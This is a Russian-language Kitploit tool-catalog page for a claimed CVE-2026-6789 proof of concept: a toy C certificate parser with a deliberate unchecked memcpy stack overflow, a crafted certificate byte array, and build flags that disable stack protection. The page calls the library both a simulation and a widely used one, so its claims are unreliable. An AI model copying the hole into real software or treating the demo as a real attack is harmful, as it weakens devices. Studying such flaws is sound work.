Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-6789-Stack-Buffer-Overflow-in-Embedded-TLS-Certificate-Parser — PoC переполнения буфера стека во встроенном парсере TLS-сертификатов с использованием специально сформированного расширения X.509 SAN для удаленного выполнения кода на IoT-устройствах и промышленных устройствах. | Kitploit
Инструменты/GitHubGitHub/george0papasotiriou/cve-2026-6789-stack-buffer-overflow-in-embedded-tls-certificate-parser
Безопасность встроенных системБезопасность IoTАнализ уязвимостейЭксплуатацияОбучение и ОбразованиеЭксплуатация Бинарных Файлов
GitHubgeorge0papasotiriou/cve-2026-6789-stack-buffer-overflow-in-embedded-tls-certificate-parser

CVE-2026-6789-Stack-Buffer-Overflow-in-Embedded-TLS-Certificate-Parser

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

PoC переполнения буфера стека во встроенном парсере TLS-сертификатов с использованием специально сформированного расширения X.509 SAN для удаленного выполнения кода на IoT-устройствах и промышленных устройствах.

Репозиторий
11 месяц назадЕщё не проверено

9. CVE-2026-6789 – Переполнение буфера стека в анализаторе сертификатов встроенного TLS

Обзор

Популярная облегчённая TLS-библиотека (симуляция) содержит переполнение буфера стека при разборе расширений Subject Alternative Name сертификата X.509 с подделанным полем длины.

Серьёзность: Критическая (RCE на IoT/промышленных устройствах)

Уязвимый C-парсер и эксплойт

root@kitploit:~
// tls_x509_vuln.c
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <stdlib.h>

// Vulnerable certificate parser
struct cert {
    uint8_t *data;
    size_t len;
};

int parse_san_extension(struct cert *cert, char *san_out, size_t out_size) {
    // Assume we are inside an extension with OID for SAN.
    uint8_t *p = cert->data + 10; // skip to extension value
    uint16_t ext_len = (p[0] << 8) | p[1];
    p += 2;
    // ext_len includes a sequence of GeneralNames. We only handle dNSName.
    while (p < cert->data + cert->len) {
        uint8_t name_type = *p++;
        uint16_t name_len = (p[0] << 8) | p[1];
        p += 2;
        if (name_type == 2) { // dNSName
            // Vulnerability: memcpy without bounds check to san_out
            memcpy(san_out, p, name_len); // STACK BUFFER OVERFLOW if name_len > out_size
            san_out[name_len] = '\0';
            return 0;
        }
        p += name_len;
    }
    return -1;
}

int main(int argc, char **argv) {
    // Malicious certificate payload: crafted SAN with oversized dNSName
    uint8_t malicious_cert[] = {
        // ... header, then extension:
        0x30, 0x12, // SEQUENCE extension
        0x06, 0x03, 0x55, 0x1d, 0x11, // OID SAN
        0x04, 0x0b, // octet string, length 11
        // ext_len (should be 0x0009 but we use 0x00ff to overflow)
        0x00, 0xff, // ext_len = 255 (overstated)
        // Then a dNSName: type 2, length huge
        0x02, 0x01, 0x41, // dNSName "A" but the parser will read massive length due to ext_len
    };
    struct cert cert;
    cert.data = malicious_cert;
    cert.len = sizeof(malicious_cert);

    char san[16]; // small buffer
    parse_san_extension(&cert, san, sizeof(san));
    printf("SAN: %s\n", san);
    return 0;
}

CVE-2026-6789 – Переполнение стека при разборе X.509 SAN во встроенном TLS

Severity: Critical

📖 Обзор

Переполнение буфера стека в анализаторе сертификатов широко используемой встраиваемой TLS-библиотеки позволяет удалённо выполнять код при обработке устройством специально созданного сертификата X.509.

⚙️ Детали уязвимости

  • Тип: Переполнение буфера стека
  • Влияние: Удалённое выполнение кода (до аутентификации на TLS-серверах)
  • Корневая причина: Анализатор копирует DNS-имя из расширения Subject Alternative Name, используя поле длины без проверки размера выходного буфера.

🧪 Демонстрация эксплойта

  1. Сгенерируйте вредоносный сертификат:
    root@kitploit:~
    python craft_exploit_cert.py
    
  2. Скомпилируйте и запустите уязвимый анализатор (симуляция):
    root@kitploit:~
    gcc tls_x509_vuln.c -o parser -fno-stack-protector -z execstack
    ./parser malicious.cer
    
Скачать инструмент